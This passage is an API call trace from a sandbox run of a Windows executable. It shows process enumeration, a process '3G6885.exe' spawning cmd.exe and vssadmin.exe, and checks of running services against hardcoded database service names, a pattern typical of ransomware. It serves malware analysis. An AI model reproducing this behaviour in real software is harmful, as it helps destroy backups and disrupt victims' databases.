lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0064.728] lstrlenW (lpString="audiodg.exe") returned 11 [0064.728] Process32NextW (in: hSnapshot=0x21c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0064.729] lstrlenW (lpString="svchost.exe") returned 11 [0064.729] Process32NextW (in: hSnapshot=0x21c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0064.729] lstrlenW (lpString="svchost.exe") returned 11 [0064.729] Process32NextW (in: hSnapshot=0x21c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0064.730] lstrlenW (lpString="dwm.exe") returned 7 [0064.730] Process32NextW (in: hSnapshot=0x21c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0064.730] lstrlenW (lpString="explorer.exe") returned 12 [0064.730] Process32NextW (in: hSnapshot=0x21c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0064.731] lstrlenW (lpString="spoolsv.exe") returned 11 [0064.731] Process32NextW (in: hSnapshot=0x21c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0064.731] lstrlenW (lpString="taskhost.exe") returned 12 [0064.732] Process32NextW (in: hSnapshot=0x21c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0064.732] lstrlenW (lpString="svchost.exe") returned 11 [0064.732] Process32NextW (in: hSnapshot=0x21c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0064.733] lstrlenW (lpString="taskeng.exe") returned 11 [0064.733] Process32NextW (in: hSnapshot=0x21c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0064.733] lstrlenW (lpString="taskhost.exe") returned 12 [0064.733] Process32NextW (in: hSnapshot=0x21c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="promotesrouting.exe")) returned 1 [0064.734] lstrlenW (lpString="promotesrouting.exe") returned 19 [0064.734] Process32NextW (in: hSnapshot=0x21c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rxcalled.exe")) returned 1 [0064.734] lstrlenW (lpString="rxcalled.exe") returned 12 [0064.734] Process32NextW (in: hSnapshot=0x21c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="off.exe")) returned 1 [0064.735] lstrlenW (lpString="off.exe") returned 7 [0064.735] Process32NextW (in: hSnapshot=0x21c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mayorintl.exe")) returned 1 [0064.752] lstrlenW (lpString="mayorintl.exe") returned 13 [0064.752] Process32NextW (in: hSnapshot=0x21c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gzip-june.exe")) returned 1 [0064.753] lstrlenW (lpString="gzip-june.exe") returned 13 [0064.753] Process32NextW (in: hSnapshot=0x21c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsnavy.exe")) returned 1 [0064.753] lstrlenW (lpString="lsnavy.exe") returned 10 [0064.753] Process32NextW (in: hSnapshot=0x21c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="placing-scott-que.exe")) returned 1 [0064.754] lstrlenW (lpString="placing-scott-que.exe") returned 21 [0064.754] Process32NextW (in: hSnapshot=0x21c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="specifications.exe")) returned 1 [0064.754] lstrlenW (lpString="specifications.exe") returned 18 [0064.754] Process32NextW (in: hSnapshot=0x21c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="soup-mario.exe")) returned 1 [0064.755] lstrlenW (lpString="soup-mario.exe") returned 14 [0064.755] Process32NextW (in: hSnapshot=0x21c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cultures-possession-please.exe")) returned 1 [0064.755] lstrlenW (lpString="cultures-possession-please.exe") returned 30 [0064.755] Process32NextW (in: hSnapshot=0x21c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="platformsprivate.exe")) returned 1 [0064.756] lstrlenW (lpString="platformsprivate.exe") returned 20 [0064.756] Process32NextW (in: hSnapshot=0x21c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="valve tabs intelligent.exe")) returned 1 [0064.756] lstrlenW (lpString="valve tabs intelligent.exe") returned 26 [0064.757] Process32NextW (in: hSnapshot=0x21c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bangkok-updates.exe")) returned 1 [0064.757] lstrlenW (lpString="bangkok-updates.exe") returned 19 [0064.757] Process32NextW (in: hSnapshot=0x21c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="scan-allows.exe")) returned 1 [0064.758] lstrlenW (lpString="scan-allows.exe") returned 15 [0064.758] Process32NextW (in: hSnapshot=0x21c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mwprovince.exe")) returned 1 [0064.758] lstrlenW (lpString="mwprovince.exe") returned 14 [0064.758] Process32NextW (in: hSnapshot=0x21c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hired_reality_again.exe")) returned 1 [0064.759] lstrlenW (lpString="hired_reality_again.exe") returned 23 [0064.759] Process32NextW (in: hSnapshot=0x21c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sharonphonedebut.exe")) returned 1 [0064.759] lstrlenW (lpString="sharonphonedebut.exe") returned 20 [0064.759] Process32NextW (in: hSnapshot=0x21c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="contacting.exe")) returned 1 [0064.760] lstrlenW (lpString="contacting.exe") returned 14 [0064.760] Process32NextW (in: hSnapshot=0x21c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="continues_does_laos.exe")) returned 1 [0064.760] lstrlenW (lpString="continues_does_laos.exe") returned 23 [0064.760] Process32NextW (in: hSnapshot=0x21c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="jpmanagers.exe")) returned 1 [0064.761] lstrlenW (lpString="jpmanagers.exe") returned 14 [0064.761] Process32NextW (in: hSnapshot=0x21c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="motor.exe")) returned 1 [0064.761] lstrlenW (lpString="motor.exe") returned 9 [0064.761] Process32NextW (in: hSnapshot=0x21c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="comboashleyalan.exe")) returned 1 [0064.762] lstrlenW (lpString="comboashleyalan.exe") returned 19 [0064.762] Process32NextW (in: hSnapshot=0x21c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="toshiba.exe")) returned 1 [0064.762] lstrlenW (lpString="toshiba.exe") returned 11 [0064.762] Process32NextW (in: hSnapshot=0x21c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0064.763] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0064.763] Process32NextW (in: hSnapshot=0x21c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0064.764] lstrlenW (lpString="3G6885.exe") returned 10 [0064.764] Process32NextW (in: hSnapshot=0x21c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x99c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0064.764] lstrlenW (lpString="cmd.exe") returned 7 [0064.764] Process32NextW (in: hSnapshot=0x21c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0064.765] lstrlenW (lpString="conhost.exe") returned 11 [0064.765] Process32NextW (in: hSnapshot=0x21c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0064.765] lstrlenW (lpString="vssadmin.exe") returned 12 [0064.765] Process32NextW (in: hSnapshot=0x21c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0064.766] lstrlenW (lpString="VSSVC.exe") returned 9 [0064.766] Process32NextW (in: hSnapshot=0x21c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.111] lstrlenW (lpString="svchost.exe") returned 11 [0065.112] Process32NextW (in: hSnapshot=0x21c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0065.112] CloseHandle (hObject=0x21c) returned 1 [0065.113] Sleep (dwMilliseconds=0x1f4) [0065.706] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x640210 [0065.707] EnumServicesStatusExW (in: hSCManager=0x640210, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0) returned 0 [0065.707] GetLastError () returned 0xea [0065.707] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x12c6) returned 0x3f93008 [0065.707] EnumServicesStatusExW (in: hSCManager=0x640210, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3f93008, cbBufSize=0x12c6, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3f93008, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0) returned 1 [0065.708] CloseServiceHandle (hSCObject=0x640210) returned 1 [0065.708] lstrlenW (lpString="Appinfo") returned 7 [0065.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0065.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0065.708] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0065.708] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0065.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0065.708] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0065.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0065.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0065.708] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0065.708] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0065.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0065.708] lstrlenW (lpString="AudioSrv") returned 8 [0065.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0065.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0065.709] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0065.709] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0065.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0065.709] lstrlenW (lpString="BFE") returned 3 [0065.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0065.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0065.709] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0065.709] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0065.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0065.709] lstrlenW (lpString="CryptSvc") returned 8 [0065.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0065.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0065.709] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0065.709] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0065.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0065.709] lstrlenW (lpString="CscService") returned 10 [0065.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0065.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0065.709] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0065.709] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0065.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0065.709] lstrlenW (lpString="DcomLaunch") returned 10 [0065.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0065.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0065.709] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0065.709] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0065.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0065.709] lstrlenW (lpString="Dhcp") returned 4 [0065.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0065.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0065.709] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0065.709] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0065.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0065.709] lstrlenW (lpString="Dnscache") returned 8 [0065.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0065.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0065.710] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0065.710] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0065.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0065.710] lstrlenW (lpString="DPS") returned 3 [0065.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0065.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0065.710] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0065.710] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0065.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0065.710] lstrlenW (lpString="eventlog") returned 8 [0065.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0065.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0065.710] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0065.710] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0065.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0065.710] lstrlenW (lpString="EventSystem") returned 11 [0065.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0065.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0065.710] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0065.710] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0065.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0065.710] lstrlenW (lpString="gpsvc") returned 5 [0065.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0065.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0065.710] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0065.710] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0065.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0065.710] lstrlenW (lpString="iphlpsvc") returned 8 [0065.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0065.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0065.711] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0065.711] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0065.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0065.711] lstrlenW (lpString="LanmanServer") returned 12 [0065.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0065.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0065.711] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0065.711] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0065.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0065.711] lstrlenW (lpString="LanmanWorkstation") returned 17 [0065.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0065.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0065.711] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0065.711] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0065.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0065.711] lstrlenW (lpString="lmhosts") returned 7 [0065.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0065.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0065.711] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0065.711] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0065.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0065.711] lstrlenW (lpString="MMCSS") returned 5 [0065.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0065.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0065.711] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0065.711] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0065.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0065.711] lstrlenW (lpString="MpsSvc") returned 6 [0065.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0065.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0065.711] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0065.711] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0065.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0065.711] lstrlenW (lpString="Netman") returned 6 [0065.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0065.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0065.712] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0065.712] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0065.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0065.712] lstrlenW (lpString="netprofm") returned 8 [0065.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0065.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0065.712] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0065.712] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0065.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0065.712] lstrlenW (lpString="NlaSvc") returned 6 [0065.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0065.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0065.712] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0065.712] lstrcmpiW 